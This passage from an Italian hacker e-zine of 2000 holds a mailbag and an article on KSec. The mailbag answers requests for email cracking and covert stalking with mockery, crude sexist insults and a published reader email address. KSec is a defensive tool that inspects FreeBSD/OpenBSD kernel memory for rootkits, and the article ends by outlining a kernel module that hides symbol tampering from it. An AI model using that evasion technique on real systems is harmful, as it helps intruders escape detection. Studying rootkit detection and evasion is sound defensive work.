preferisco pensare alle poverE mortali...] I vostri discepoli devono imparare o risolvere ogni volta gli enigmi che voi proponete? Non e' una critica, anzi siete solo da lodare per quel che fate, per i vostri intenti democratici e di liberta', pero' anche se la tentazione e' forte sappiate resistere al demone dell'ermeticita'. Piu' sarete comprensibili e piu' numerosi saranno gli adepti su cui potrete contare. [Guarda, non abbiamo formato una nuova Scientology (anche perche' altrimenti saremmo pieni di soldi :/) quindi il nostro obiettivo non e' quello di trovare adepti, se scrivessimo cose facili e in maniera semplice probabilmente saremmo redattori di XXXXX for dummies della Apogeo e non di BFi. Gia' che ci siamo un saluto ad Apogeo, McGraw-Hill e Jackson Libri, CIAOOOOOOOO :)] E' un vero guaio che la vita media degli hackers sia molto bassa (ma forse voi siete piu' longevi), [Scusa se mi tocco......] in quanto vengono assorbiti inesorabilmente dalle funzioni sociali, perdendo quelle motivazioni che li facevano restare alzati fino a notte inoltrata. E' proprio quello il momento che si incomincia a invecchiare, che mentalmente inizia la parabola discendente. [Allora la mia parabola e' iniziata a scendere dalla nascita :))] Voi e altri gruppi siete animati da tanta buona volonta', intenzionati a diffondere la cultura underground degli hackers, forse siete degli anticipatori che hanno capito che il futuro e' fondato sull'informazione e sul suo potere, e che essere degli hackers non e' piu' un gioco da ragazzi ma una missione molto seria. La maturita' psicofisica e' senz'altro la dote fondamentale del "nuovo" hacker, non piu' il ragazzino che la faceva in barba alle telcos, ma un individuo responsabile, non un manager ma un artigiano, perche' solo dall'artigiano o dall'artista ci si puo' aspettare l'innovazione. Detto questo, mi sapete suggerire la soluzione del mio problema? UNLIMITED [Grazie per le parole profonde che non ho mancato come mio solito di infarcire di troiate, speriamo che tu possa risolvere (miiiinchiaaa so anche i congiuntivi cheffico) il tuo problema. Saluti] [08] "aiuto" by Alex (mail inviata da FreedomLand) mail numero 1 voglio capire ke kazzzo sta succendo ki siete ke fate vglio farlo anke io basta ke sia kontro il sistema e x la rete sono cirioso daI PARLA CON ME o seianke tu uno stronzo?????????AAAAAAAAAAAAAAAAAAAAAAsp mail numero 2 cazzzo cazzzzo cazzzo ake cazzo serve BFi ditetemelo o vi rimangiate tutto quello ke avete scritto?voglio codici parole kiavi voglio rompere il culo agli stronzi C. aiut [Beh ragazzo, spero per te che tu stia scherzando, se questo e' il dataflow dei tuoi penZieri il collasso e' vicino. Comunque SI sono anche io uno stronzo, non sono cirioso (che cazzo e' una malattia della pelle causata dai pelati Cirio?) e ci rimangiamo tutto quello che abbiamo scritto, e dopo essercelo rimangiati te lo vomitiamo addosso. E fatti una connessione seria, invece che usare Freedomland e navigare su internet con la televisione, Marcione!! Mmm mi viene un dubbio, che questo coglionazzo non sia un vero utente ma un parto della mente malata di De Giovanni per potersi quotare in borsa?] [09] sadio da Stefano Ciao.. mi chiamo K-31 vorrei sapere se esiste un metodo per violare una casella postale, o piu' semplicemente, trovarne la passw. Grazie... [Aldila' del fatto che non capisco come fa uno a postare usando la propria e-mail con nome e poi direi, "ciao mi chiamo K-31", secondo me con un piede di porko ce la si dovrebbe fare :)] [0A] sadio da Alberto Carissimo staff di BFi, mi chiamo Alberto e ho 17 anni. Premettendo ovviamente gli strameritati complimenti per la vostra mitica rivista :), voglio spiegarvi il mio "piccolo" problema. Uso Linux da circa un annetto, ma nonostante le dotte letture :))) non penso di aver fatto molti progressi: a parte saper scrivere qualcosa in C, impostare il pppd per connettermi e forgiare un pacchetto IP, non so come fare per provare i vostri sorgenti e ampliarli (come giustamente consigliate per uscire dall'infame "lamer-dom" :). La mia "aspirazione" e' quella di diventare un buon amministratore di sistema, ma senza fare pratica avere Linux a casa non serve a molto [Oh cazzo finalmente qualcuno che non scrive volendo bukare la nasa...] (credo): mi hanno detto di prendere un altro PC e metter su una rete locale, ma non credo che attaccare e difendersi in locale (perdonatemi se dico una cazzata) sia la stessa cosa che in remoto. [Beh in generale per attacco "locale" si intende quello fatto avendo un account sulla macchina, mentre "remoto" dall'esterno. Diciamo che se hai due pc collegati in LAN via scheda di rete, puoi simulare anche una connessione "dall'esterno" collegandoti da una all'altra. Volendo potresti anche fare delle prove con ipchains e affini provando diversi settaggi e cercando di capire come bloccare connessioni, pacchetti etc..In sostanza come rendere sicura la macchina] Se avessi qualche amico *fidato* che usasse Linux, forse gli proporrei una gara per vedere chi riesce a rimanere di piu' nel sistema dell'altro, forse cosi' si imparerebbe qualcosa... boh! Purtroppo nella mia citta' i provider sono davvero pochi, tempo fa ho provato a chiedere a quello diciamo cosi' "piu importante" di mostrarmi come "funzionavano le cose" (d'altronde credo che piu' o meno anche voi abbiate iniziato facendo pratica in qualche ISP :), ma la richiesta non ha avuto l'esito sperato, magari pensavano che fossi solo un lamer voglioso di smanettare nei loro server, mah... [Figurarsi.....] Adesso la pianto di piagnucolare ;) e mi rimetto alla vostra sconfinata sapienza! Alberto P.S.: non vi spaventate per Outlook, e' che stavo scaricando con Go!Zilla! :) [Eh??? ma scusa ci sono download manager anche per linux, oppure perche' non usi il SACRO wget ?] [0B] sadio by Conidro Avete mica i temi di matura [AHAHAHAHAHAHAHHAHAHAHAHA Si certo, forse ho ancora in giro i temi della matura dell'anno che l'ho fatta io... O magari ho anche il giornale del giorno dopo con su i risultati. Hihihi ma che caz di idee ti vengono.......] [0C] "hai evribadi" by lelele82 hoy gente com'e' che quest'anno ci tenete senza beach for insanes 2000???????? voglio sapere le vostre avventure di fotting e hackin'girls... voglio restare aggiornato sulle nuove verdure... voglio una nuova guida di botanica... voglio farmi 3 risate... voglio conoscere i nuovi tipi di acqua santa... INSOMMA QUAND'E' CHE FATE LA PROSSIMA SFORNATA?????? [Ci dispiace molto ma quest'anno Beach for Insanes non e' uscito, comunque fidatevi, non e' perche' siamo diventati seri, siamo piu' coglioni di prima se per questo :)))] cmq se voi sommi tapiri storditi ;)= non aveste capito l'oggetto era HI EVERIBODY detto in mialingua (????) [O inutile vitello dai piedi di balsa, certo che abbiamo capito il subject, LIDOL AIDIOT :))] [0D] "Hi" by Dark_Genie All'attenzione del gent.ssmo sig.Cavallo de' Cavallis....... ma fatemi il favoreeee hihihi scherzi a parte ( oh Cava' non te la prendere..;), [MA SOOOOOOOOOOOOOOOKA!!!] sono un vostro accanito lettore (beh devo dirlo o non mi pubblicate la mail, vero?;) anche se ho qualche problema a capire gli articoli piu' tecnici. [Beh se non capivi la posta chiamavamo la Neuro...] Vengo subito al dunque: sto studiando legge e mi interessano molto gli aspetti giuridici del fenomeno hacking e co.( ognuno contribuisce con le conoscenze che ha,no? ).Per questo motivo vorrei che tu pubblicassi questa mail col mio indirizzo di posta cosi' chiunque abbia del materiale riguardante hacking e diritto possa inviarmelo. Sono interessato soprattutto a sentenze e casi pratici,...se qualche lettore ha avuto problemi giudiziari,...conferenze sulla materia e co.. Insomma tutto il materiale che avete;)) Non datemi le url di Metro Olografix ed ALCEI che le conosco gia' ( anche se la mail che avevo spedito all'ALCEI con analoga richiesta non ha ricevuto nessuna risposta). Ringrazio te (x la pubblicazione della mail) e tutta la redazione di BFI. Ciao [Okkei okkei la mail e' dark_genie_@hotmail.com sperando che sia giusta, flod..ehm inviate pure il materiale che avete a riguardo] [0E] sadio by patrizia ciao a tutti voi....sono un'appassionata di informatica che desidera [WOW una FIMMINA!!] imparare il piu' possibile....cosa voglio da voi?...ovviamente aiuto....non [Cosa vogliamo noi in cambio? Ovviamente la !"X"=$=)EOF] voglio sapere "trucchi" o cose del genere...vorrei imparare l'informatica a fondo...e chi piu' di voi mi puo' aiutare??...per favore non scrivetemi di leggere i testi di scuola elementare...sono una neofita,ma ho 30 anni!... l'informatica l'ho gia'studiata a scuola....assembler....basic...adesso ne sono stata fuori per anni e non ci "tiro fuori le gambe"...vorrei tanto [Se vuoi allora tiro fuori qualcosa io...] sapere quello che sapete voi....non chiedo "dritte"...voglio imparare da sola ..vorrei consigli!...libri? internet?....fate finta di parlare con un'analfabeta...consigliatemi per favore...su internet ho trovato soltanto voi da cui imparare molto...io apprendo in fretta (se non sono invecchiata troppo....)...ma ho bisogno di una "mappa"... [Beh non hai detto cosa vuoi imparare, comunque su internet trovi veramente tantissimo materiale, da corsi di programmazione base-medio-avanzato a come usare Excel a testa in giu', quindi non posso che consigliarti di scaricare il piu' possibile. Anche le librerie forniscono libri molto interessanti, peccato che in generale costino abbastanza (dalle 50k alle 150k), se hai la possibilita' di accedere magari a una biblioteca fornita (magari universitaria) troverai quello che cerchi. Ah beh ovviamente non dimenticarti di leggere BFi :)) vi mando un mare di bacioni a tutti....rispondetemi!!!...ho bisogno di voi... se sarete dei buoni "maestri" un giorno potro' far parte di BFI.... (adesso sto sognando)....ciao ciao e bacioni a tutti da patty [Ciao Patty!!!] [0F] "cazzuto" by cyxemme Carissimo Cavallo Spero tanto tu abbia tutti gli attributi del cavallo....ma questi sono cazzi tuoi...nel vero senso della parola.... [Iniziamo bene...] arrivo al dunque io sono ...e lo dico prima io ...un pivello In famiglia usano internet per lavoro e per divertimento, io che sono il padre di tutto questo ed anche il piu' vecchio e imbecille mi diverto a fare l'asino in chatt e per e-mail. Dunque io conosco ....si fa per dire diverse ragazze che si divertono a farmi ritornare l?animale di un tempo e desidererei incontrarle ma oppongono qualche resistenza..... sono davvero incazzato ....tutti quelli che sanno mi dicono..... si ci sono dei programmi per rintracciare i pivelli come te per avere dei dati personali....almeno il numero di telefono...vai in questo sito e scaricalo....vai in quel sito e scarica e usalo. Come cazzo faccio a capire quale e' il programma da scaricare mica c'e' scritto ...il programma per te e'questo....poi il bello e' che con fare saccente ti dicono ma ci sono anche le istruzioni..... si' certo in inglese e con dei dati cazzutissimi che io non capisco. A questo punto ho deciso di rivolgermi a dei professionisti come voi ..... ....dammi una mano.......... [Si noi siamo i professionisti del pulito...] io credo che il mio problema tu l'abbia capito... [Sfortunatamente si'.... e non c'e' soluzione fuorche' lobotomizzarti...] mi servirebbe uno di quei fottuttissimi programmi o come cazzo li chiamate per avere i dati personali di alcune tipe inviandole una mail....senza farsi scoprire....si accettano tutti i consigli e le istruzioni del caso. Con doveroso rispetto e ossequiando con inchino vostro infido fan....in attesa . [Senza parole...] E veniamo ora alla mail piu' bella : [10] "Ciao, coglione" Ciao, coglione di un Hacker Ti scrivo per dirti quello che penso di voi Hacker fighetti del cazzo: sono stufo di voi. Voi non sapete fare niente: sapete solo parlare. Perdete un sacco di tempo dietro al vostro schifoso Linux che non serve a niente, quando c'e' Windows pieno di giochi masterizzabili. Perche' non impiegate il vostro tempo a fottere, o forse siete anche sprovvisti del cazzo. Scommetto che in questo momento sei incazzato nero con me, e vorresti formattarmi l'hard disc, ma non lo potrai fare, perche' in realta' solo io so usare il computer: io sono un genio, so programmare in Html, Perl, Php, Linux, shell, mentre voi siete solo degli stronzi coglioni figli di bu....., che non sanno neanche riconoscere il menu' avvio di Windows dal deschtop. Fai conoscere questa i-mail anche ai tuoi amici hacker, mettila pure su tutti i newsgroup: tanto non ho paura di voi! [L'ho voluta lasciare intera per darvi la possibilita' di leggerla tutta di un fiato e apprezzarla fino in fondo, ora rileggiamola passo passo :)] Ciao, coglione di un Hacker [Ciao, ovaia di una Hackeressa] Ti scrivo per dirti quello che penso di voi Hacker fighetti del cazzo: sono stufo di voi. Voi non sapete fare niente: sapete solo parlare. [No guarda ti sbagli, noi sappiamo solo scrivere, siamo muti dalla nascita e quindi ci sfoghiamo qui in BFi] Perdete un sacco di tempo dietro al vostro schifoso Linux che non serve a niente, quando c'e' Windows pieno di giochi masterizzabili. [E tu perdi un sacco di tempo dietro al tuo merdoso Windows quando c'e' la Playstation che ha 10volte i giochi da masterizzare, e centinaia di coglioni in piu' che te li comprano anche!!] Perche' non impiegate il vostro tempo a fottere, o forse siete anche sprovvisti del cazzo. [Perche' tua madre dopo aver visto come sei uscito si e' suicidata e di troie cosi' non se ne trovano piu' come una volta, quindi abbiamo deciso di non fottere] Scommetto che in questo momento sei incazzato nero con me, e vorresti formattarmi l'hard disc, [Siiiii AAAAAAA come sono incazzatoooooo UUUUUUUUUUUUU GRRRRRRRRRRRRRRRr] ma non lo potrai fare, perche' in realta' solo io so usare il computer: io sono un genio, so programmare in Html, Perl, Php, Linux, shell, mentre voi siete solo degli stronzi coglioni figli di bu....., che non sanno neanche riconoscere il menu' avvio di Windows dal deschtop. [Uhm... kazzo ma allora sei fikko; una curiosita', che linguaggio di programmazione e' Linux ??] Fai conoscere questa i-mail anche ai tuoi amici hacker, mettila pure su tutti i newsgroup: tanto non ho paura di voi! [AHAHAHAHAHAH. Questo coglione pensava che con un flame del genere io avrei dato in giro la mail su NG e ai miei "amici hackerz". Come se non avessi capito che sto smurf maillistico non era altro che per colpire il povero e ignaro fake-mittente della mail. Provaci ancora Sam, chissa' mai che la proxima volta ti vada bene...] Bah con questo idiota io avrei concluso, per vedere se ho fatto un buon lavoro facciamo una conta (come suggerito dal buon pIG): cat bfi9.txt | grep -ci dio 7 cat bfi9.txt | grep -ci figa 4 cat bfi9.txt | grep -ci cazzo 4 cat bfi9.txt | grep -ci cazzi 1 cat bfi9.txt | grep -ci fighe 0 cat bfi9.txt | grep -ci cristo 0 Onesto no? Prima dell'EOF, un paio di saluti : - a h4ph4z4rd, un giovane di belle speranze che forse diventera' elite prima o poi e che ci teneva tantissimo a comparire in BFi, almeno nei saluti. - ai membri vekki e nuovi dell'Orda delle Badlands, per il loro esistere - a tutti i fedeli del "oh ma tu sei Cavallo quello famoso?" - a tutti gli atei del "oh ma BFi non esce piu'?" - a tutti gli agnostici del "ma tu sei veramente Cavallo? ti pensavo diverso" - a Musherpes, cosi almeno compare un'altra volta in BFi senza aver fatto nulla di particolare :) - a quello che (cosi' mi han detto) mi ha riportato come autore di un testo (non mio tra l'altro) chiamandomi "Cavallo de godknow". Si sara' fumato il mio ident...... This is the End, my only friend, the End... ============================================================================== ---------------------------------[ EOF 9/21 ]--------------------------------- ============================================================================== BFi-9/BFi09-100100644000000000000000000010745107204352273011351 0ustar rootroot============================================================================== ------------[ BFi numero 9, anno 3 - 03/11/2000 - file 10 di 21 ]------------- ============================================================================== -[ HACKiNG ]------------------------------------------------------------------ ---[ PEEK DELLE STRUTTURE iNTERNE DEL KERNEL ViA /DEV/KMEM -----[ pIGpEN , FuSyS Della serie: ---[ s c e g l i e r e l a v i a m e n o b a t t u t a ]--- by pIGpEN & FuSyS ----------------- Questo progetto vede la luce partendo dalla considerazione nei confronti di rootkit e troyan vari. E' spesso difficile avere fiducia nei propri binari, dopo aver subito una intrusione. Questa difficolta' si fa insormontabile nel momento in cui venga modificato il kernel mediante ricompilazione statica o mediante il link di codice attravero i moduli caricabili nel kernel stesso. L'obbiettivo e' fornire un tool sufficientemente robusto e flessibile che possa gettare almeno un po' di luce sull'ombra degli attaccanti. Bypassando i normali mezzi di raccolta delle informazioni, e osservando direttamente lo stato del kernel attraverso il file /dev/kmem , possiamo accorgerci di quello che non dovremmo [ovviamente secondo il punto di vista del nostro attaccante ;P] ----[ BSD ----[ KSec - Kernel Security Checker (ex. FreeBSD, OpenBSD) ---[ SYSTEM CALL KSec e' in grado di trovare da user space se alcune syscall sono state modificate (via lkm, kld o altro). Questa e' la maniera meno invasiva e altrettanto sicura... Checking for Altered Syscall: exit syscall points to 0xc0137264, function is at 0xc0137264 : ok fork syscall points to 0xc0137cdc, function is at 0xc0137cdc : ok read syscall points to 0xc014ada4, function is at 0xc014ada4 : ok write syscall points to 0xc014b144, function is at 0xc014b144 : ok open syscall points to 0xc0169cdc, function is at 0xc0169cdc : ok close syscall points to 0xc013553c, function is at 0xc013553c : ok link syscall points to 0xc016a430, function is at 0xc016a430 : ok unlink syscall points to 0xc016a8d0, function is at 0xc016a8d0 : ok chdir syscall points to 0xc0169acc, function is at 0xc0169acc : ok fchdir syscall points to 0xc016998c, function is at 0xc016998c : ok mknod syscall points to 0xc0169fd8, function is at 0xc0169fd8 : ok chmod syscall points to 0xc016b578, function is at 0xc016b578 : ok chown syscall points to 0xc016b774, function is at 0xc016b774 : ok getpid syscall points to 0xc013c0e4, function is at 0xc013c0e4 : ok mount syscall points to 0xc0168c70, function is at 0xc0168c70 : ok unmount syscall points to 0xc01693a4, function is at 0xc01693a4 : ok setuid syscall points to 0xc013c3b8, function is at 0xc013c3b8 : ok getuid syscall points to 0xc013c1b4, function is at 0xc013c1b4 : ok geteuid syscall points to 0xc013c1d8, function is at 0xc013c1d8 : ok ioctl syscall points to 0xc014b508, function is at 0xc014b508 : ok fcntl syscall points to 0xc0134f10, function is at 0xc0134f10 : ok setsockopt syscall points to 0xc015ca70, function is at 0xc015ca70 : ok getsockopt syscall points to 0xc015caf4, function is at 0xc015caf4 : ok setsid syscall points to 0xc013c294, function is at 0xc013c294 : ok setegid syscall points to 0xc013c508, function is at 0xc013c508 : ok seteuid syscall points to 0xc013c444, function is at 0xc013c444 : ok fstat syscall points to 0xc013565c, function is at 0xc013565c : ok getdirentries syscall points to 0xc016c8dc, function is at 0xc016c8dc : ok getdents syscall points to 0xc016cad0, function is at 0xc016cad0 : ok modstat syscall points to 0xc013042c, function is at 0xc013042c : ok modfind syscall points to 0xc013051c, function is at 0xc013051c : ok kldload syscall points to 0xc0130ecc, function is at 0xc0130ecc : ok kldunload syscall points to 0xc0130fa4, function is at 0xc0130fa4 : ok kldfind syscall points to 0xc0131014, function is at 0xc0131014 : ok kldnext syscall points to 0xc01310a0, function is at 0xc01310a0 : ok kldstat syscall points to 0xc0131118, function is at 0xc0131118 : ok kldfirstmod syscall points to 0xc0131220, function is at 0xc0131220 : ok getsid syscall points to 0xc013c174, function is at 0xc013c174 : ok ---[ FreeBSD LiNKER FiLES & MODULES In FreeBSD ogni link files puo' contenere piu' moduli. Mentre e' possibile vedere i link files, non esiste un vero comando per vedere i moduli interni. Questo vuol dire che molti freebsd attackers non badano molto al nome di questi ma pensano piu' che altro a nascondere come possono i link files. Kernel linker files name: kernel, id: 1, addr: 0xc0100000, refs: 3, size: 2272c0 flags: 1, userrefs: 1, dependancies: 0, file_ops at 0xc0299c5c Modules in this file: Id=1 (rootbus) mod_handler at 0xc01467a0 refs=1 Id=2 (isa/vga) mod_handler at 0xc0146838 refs=1 Id=3 (isa/sc) mod_handler at 0xc0146838 refs=1 Id=4 (isa/sio) mod_handler at 0xc0146838 refs=1 Id=5 (atkbdc/psm) mod_handler at 0xc0146838 refs=1 Id=6 (isa/ppc) mod_handler at 0xc0146838 refs=1 Id=7 (isa/atkbdc) mod_handler at 0xc0146838 refs=1 Id=8 (atkbdc/atkbd) mod_handler at 0xc0146838 refs=1 Id=9 (nexus/pcib) mod_handler at 0xc0146838 refs=1 Id=10 (nexus/npx) mod_handler at 0xc0146838 refs=1 Id=11 (fdc/fd) mod_handler at 0xc0146838 refs=1 Id=12 (isa/fdc) mod_handler at 0xc0146838 refs=1 Id=13 (root/nexus) mod_handler at 0xc0146838 refs=1 Id=14 (nexus/apm) mod_handler at 0xc0146838 refs=1 Id=15 (scrndr-vga) mod_handler at 0xc023c388 refs=1 Id=16 (scterm-sc) mod_handler at 0xc023aebc refs=1 Id=17 (nexus/eisa) mod_handler at 0xc0146838 refs=1 Id=18 (isab/eisa) mod_handler at 0xc0146838 refs=1 Id=19 (eisa/mainboard) mod_handler at 0xc0146838 refs=1 Id=20 (isa/ed) mod_handler at 0xc0146838 refs=1 Id=21 (atapci/ata) mod_handler at 0xc0146838 refs=1 Id=22 (pci/atapci) mod_handler at 0xc0146838 refs=1 Id=23 (isa/ata) mod_handler at 0xc0146838 refs=1 Id=24 (isa/pnp) mod_handler at 0xc0146838 refs=1 Id=25 (isa/isahint) mod_handler at 0xc0146838 refs=1 Id=26 (isa/unknown) mod_handler at 0xc0146838 refs=1 Id=27 (nexus/isa) mod_handler at 0xc0146838 refs=1 Id=28 (isab/isa) mod_handler at 0xc0146838 refs=1 Id=29 (pci/ign) mod_handler at 0xc0146838 refs=1 Id=30 (pci/chip) mod_handler at 0xc0146838 refs=1 Id=31 (pci/isab) mod_handler at 0xc0146838 refs=1 Id=32 (pci/pcib) mod_handler at 0xc0146838 refs=1 Id=33 (pcib/pci) mod_handler at 0xc0146838 refs=1 Id=34 (ppbus/ppi) mod_handler at 0xc0146838 refs=1 Id=35 (ppc/ppbus) mod_handler at 0xc0146838 refs=1 Id=36 (ppbus/lpt) mod_handler at 0xc0146838 refs=1 Id=37 (ppbus/plip) mod_handler at 0xc0146838 refs=1 Id=38 (pci/ed) mod_handler at 0xc0146838 refs=1 Id=39 (fpu) mod_handler at 0xc024d7f8 refs=1 Id=40 (mfs) mod_handler at 0xc01653e0 refs=1 Id=41 (ufs) mod_handler at 0xc01653e0 refs=1 Id=42 (nfs) mod_handler at 0xc01653e0 refs=1 Id=43 (msdos) mod_handler at 0xc01653e0 refs=1 Id=44 (procfs) mod_handler at 0xc01653e0 refs=1 Id=45 (cd9660) mod_handler at 0xc01653e0 refs=1 Id=46 (ipfw) mod_handler at 0xc0190fa0 refs=1 Id=47 (dummynet) mod_handler at 0xc018e530 refs=1 Id=48 (if_tun) mod_handler at 0xc0182648 refs=1 Id=49 (if_sl) mod_handler at 0xc0181328 refs=1 Id=50 (if_ppp) mod_handler at 0xc017f54c refs=1 Id=51 (if_loop) mod_handler at 0xc017eae0 refs=1 Id=52 (if_gif) mod_handler at 0xc017e4fc refs=1 Id=53 (if_faith) mod_handler at 0xc017e344 refs=1 Id=54 (shell) mod_handler at 0xc012f63c refs=1 Id=55 (elf) mod_handler at 0xc012f4f8 refs=1 Id=56 (aout) mod_handler at 0xc012e20c refs=1 Id=57 (ipfilter) mod_handler at 0xc01a56a8 refs=1 name: linux.ko, id: 2, addr: 0xc08ba000, refs: 1, size: 10000 flags: 1, userrefs: 1, dependancies: 1, file_ops at 0xc0299c5c Modules in this file: Id=58 (linuxelf) mod_handler at 0xc08c6d8c refs=1 Id=59 (linuxaout) mod_handler at 0xc08c74e8 refs=1 name: logo_saver.ko, id: 3, addr: 0xc08db000, refs: 1, size: 4000 flags: 1, userrefs: 1, dependancies: 1, file_ops at 0xc0299c5c Modules in this file: Id=60 (logo_saver) mod_handler at 0xc08db920 refs=1 ---[ PROMiSC DETECTiON Ksec si basa su tre livelli per trovare un'interfaccia in modalita' promiscua da locale garantisce di scovare i dumper, di sapere se questi sono in modalita' promiscua, quali processi hanno aperto bpf e molto altro... 1) controllo dei descrittori di bpf all'interno della struttura ifnet (con questa opzione troviamo le interfacce in modalita' promiscua in modo sicuro, infatti il descrittore non puo' essere rimosso e ne deriva che siamo sempre in grado di trovare un dumper) Il problema e': "Questo dumper e' in promisc mode?" Lo si puo' sapere da piu' elementi: il piu' banale (e meno affidabile) e' l'IFF_PROMISC nelle flag della struttura ifnet (if_flags). Questo potrebbe pero' essere coperto in piu' modi, ecco perche' ksec lo confronta con la flag bd_promisc della struttura bpf_d). E' stato dimostrato in BFi 8 che coprendo pure questo siamo in grado di dare un'oscurita' del promisc mode maggiore anche se temporanea :O Ksec inoltre e' in grado di distingure se un dumper in modalita' non promiscua riceve cmq pacchetti non generati/destinati a quell'host come effetto di un altro dumper in modalita' promiscua. Questo e' un "bug" ben conosciuto del supporto bpf; in realta' non si puo' parlare di baco quanto di una scelta nell'implementazione: infatti si preferisce far ricevere i pacchetti promiscui a tutti i descrittori che possono pero' filtrarli se l'utente ha settato una struttura bpf_program, passandola al supporto kernel attraverso una ioctl(BIOCSETF) vedi bpf(4). Nel kernel questo e' visibile dalla bpf_mtap(): for (d = bp->bif_dlist; d != 0; d = d->bd_next) { ++d->bd_rcount; slen = bpf_filter(d->bd_filter, pkt, pktlen, pktlen); /* * se non c'e' un filtro questa funzione ritorna -1 * e cosi' prende il pacchetto */ if (slen != 0) catchpacket(d, pkt, pktlen, slen, bcopy); } Esempio: $ ksec -i ed0 Interface: ed0 (internal index = 2) Ether 00:4f:4c:05:3a:31 State: up bcast running promisc simplex multicast Addr: 192.168.1.2 NetMask: 0xffffff00 Broadcast: 192.168.1.255 Expected 1 promisc listener/s Found a nopromisc listener: (0 rcvd pkt, 0 drop pkt) on #1 listener Found a promisc listener: (12 rcvd pkt, 0 drop pkt) on #2 listener Warning 1 nopromisc dumpers probably receive promisc packets as effect of another file requesting this mode... Information for this Ethernet interface: (address length = 6, header length = 14) MTU: 1500 Linespeed: 10000000 87 packets received, 0 packets sent 0 input errors, 89 output errors on interface 1424 collisions on interface 15331 octets received, 16755 octets sent 0 packets received, 2 packets sent via multicast 0 dropped on input 0 destined for unsupported protocols 2) controllo dei file aperti dai processi cercando quelli con major device = a quello di bpf (FreeBSD) In pratica si scorre la tabella dei processi guardando per ognuno i file aperti da questi si ricava i vnode considerando solamente quelli che interessano bpf (se ci sono). In FreeBSD questo avviene leggendo dai vnode la struttura specinfo e poi checkando che questa abbia il major device = a quello di bpf (23) ovvero: if((spec.si_udev >> 8) & 0xff)==23) // bpf! oppure: if(strstr(spec.si_name, "bpf")) // oppure strncmp() chiaro :) // bpf! Il risultato e' il seguente: checking for proc with bpf descriptor opened (use -i all to detect interface) Process with id 545 (tcpdump) has opened bpf1 Process with id 447 (trafd) has opened bpf0 3) controllo della character device switch di bpf (FreeBSD) Quest'ultimo livello controlla se la cdevsw e' stata modificata e quindi se i puntatori interni alla cdevsw puntano alle funzioni corrette o meno. Checking BPF cdevsw: cdevsw open function points to: 0xc017b11c bpfopen() is at: 0xc017b11c ok cdevsw close function points to: 0xc017b1b0 bpfclose() is at: 0xc017b1b0 ok cdevsw read function points to: 0xc017b208 bpfread() is at: 0xc017b208 ok cdevsw write function points to: 0xc017b304 bpfwrite() is at: 0xc017b304 ok cdevsw ioctl function points to: 0xc017b3dc bpfioctl() is at: 0xc017b3dc ok cdevsw poll function points to: 0xc017b988 bpfpoll() is at: 0xc017b988 ok ---[ PR0T0C0L MODiFiCATION Come avevo dimostrato e come fanno anche alcuni supporti, la inetsw[] e' facilmente modificabile via kld e lkm ... Questo vuol dire che le funzioni di un protocollo possono essere cambiate in mille modi per bypassare fw, non loggare particolari pacchetti, accettare condizioni particolari in maniera privilegiata (es. introduzione di nuovi icmp code che scrivono su file o ricevono comandi) e tante altre cose spiacevoli. Tutto questo pero' puo' essere facilmente scovato nella stessa maniera che avevo utilizzato per le syscall e per la cdevsw di bpf. L'unico problema dovuto al tempo e' che la pr_usrreqs (in FreeBSD) non l'ho ancora implementata e quindi i puntatori interni alla struttura non sono letti e checkati. Checking integrity for inetsw: IP: inet domain at: 0xc02a19c0 ipproto domain points to: 0xc02a19c0 ok ip_init at: 0xc0191b64 ipproto init points to: 0xc0191b64 ok ip_slowtimo at: 0xc0192840 ipproto slowtimo points to: 0xc0192840 ok ip_drain at: 0xc01928b8 ipproto drain points to: 0xc01928b8 ok UDP: pr_input: ok (addr: 0xc019c378) pr_ctlinput: ok (addr: 0xc019c9b8) pr_ctloutput: ok (addr: 0xc0194390) pr_usrreq: ok (addr: 0xc02a3600) TCP: pr_input: ok (addr: 0xc0195fa0) pr_ctlinput: ok (addr: 0xc019a7d0) pr_ctloutput: ok (addr: 0xc019bf50) pr_usrreq: ok (addr: 0xc02a3280) RAW: pr_input: ok (addr: 0xc0195140) pr_ctlinput: ok (addr: 0xc01956a4) pr_ctloutput: ok (addr: 0xc0195540) pr_usrreq: ok (addr: 0xc02a2b00) ICMP: pr_input: ok (addr: 0xc0191258) pr_ctlinput: / pr_ctloutput: ok (addr: 0xc0195540) pr_usrreq: ok (addr: 0xc02a2b00) IGMP: pr_input: ok (addr: 0xc018a5f4) pr_ctlinput: / pr_ctloutput: ok (addr: 0xc0195540) pr_usrreq: ok (addr: 0xc02a2b00) IP Packet Log puo' modificare la protosw del protocollo IP, ksec dovrebbe essere in grado di dire se le funzioni puntano al codice di iplog o no. Es. nel mio OpenBSD 2.7 di casa ip_slowtimo at: 0xe01864ac ipproto init points to: 0xe0192b04 altered it points to iplinit (IP Packet log Support) ---[ E i PROCESSI?!? In BSD se avessi lasciato questo avrei fatto la stessa cosa che fa il comando ps(1)... Nel senso che esso utilizza gia' la kvm per leggere i processi, in particolare la chiamata kvm_getprocs(3) per cui ho tolto questa parte che secondo me era ridondante... Puo' darsi che in futuro la implementi in altri modi... Comunque la tabella dei processi e' stata utilizzata all'interno di ksec per altre cose... per esempio in FreeBSD per controllare quali processi avevano aperto bpf ---[ CONCLUSIONE Per quanto i simboli possano essere sovrascritti, l'hacker possa ricompilare il kernel o si sfruttino altri modi per eludere ksec, questo e' comunque un tool utile per controllare il proprio sistema e che fornisce buoni spunti a chi voglia addentrarsi dentro il kernel. Molti metodi di copertura di un programma che legga i valori direttamente del kernel, non sono proprio banali e richiedono una conoscenza del kernel in cui si agisce, delle sue strutture e delle sue funzioni ... Un metodo per FreeBSD di copertura dei simboli si ottiene guardando l'implementazione della libreria kvm, questa nella ricerca di essi sfrutta il supporto kld chiamando la kldsym()... e' quindi possibile modificare questa per far ritornare in determinati simboli i nostri indirizzi, ma ci sono pure altri modi ... <-| kmem/bsd/kldsym.c crc32: 3523658060 |-> /* * Questo semplice kld elude la libreria kvm in FreeBSD, facendo credere che * il simbolo kldsym sia locato nella stessa posizione di hacked_kldsym, * ksec (basandosi su kvm) non potra' localizzare cosi' la differenza tra dove * punta la syscall kldsym e la vera locazione in cui questa risiede... * * Questo comportamento e' riproducibile su ogni simbolo, ovviamente occorre * sempre coprire la kldsym visto che noi andiamo a modificare almeno questa * chiamata di sistema :) * * Un comportamento simile si potrebbe ottenere cambiando la lookup_symbol() * nelle strutture linker_file_ops * * Nota: nm(1) non viene eluso da questo kld, in quanto gestisce da solo il * posizionamento all'interno di un file nella ricerca dei simboli, non * sfruttando quindi la chiamata di sistema kldsym() * * E' altrettanto chiaro che questa implementazione vale solo per FreeBSD * mentre su altri sistemi la kvm e' differente * * pIGpEN [ S0ftPj Y2K ] */ #include #include #include #include #include 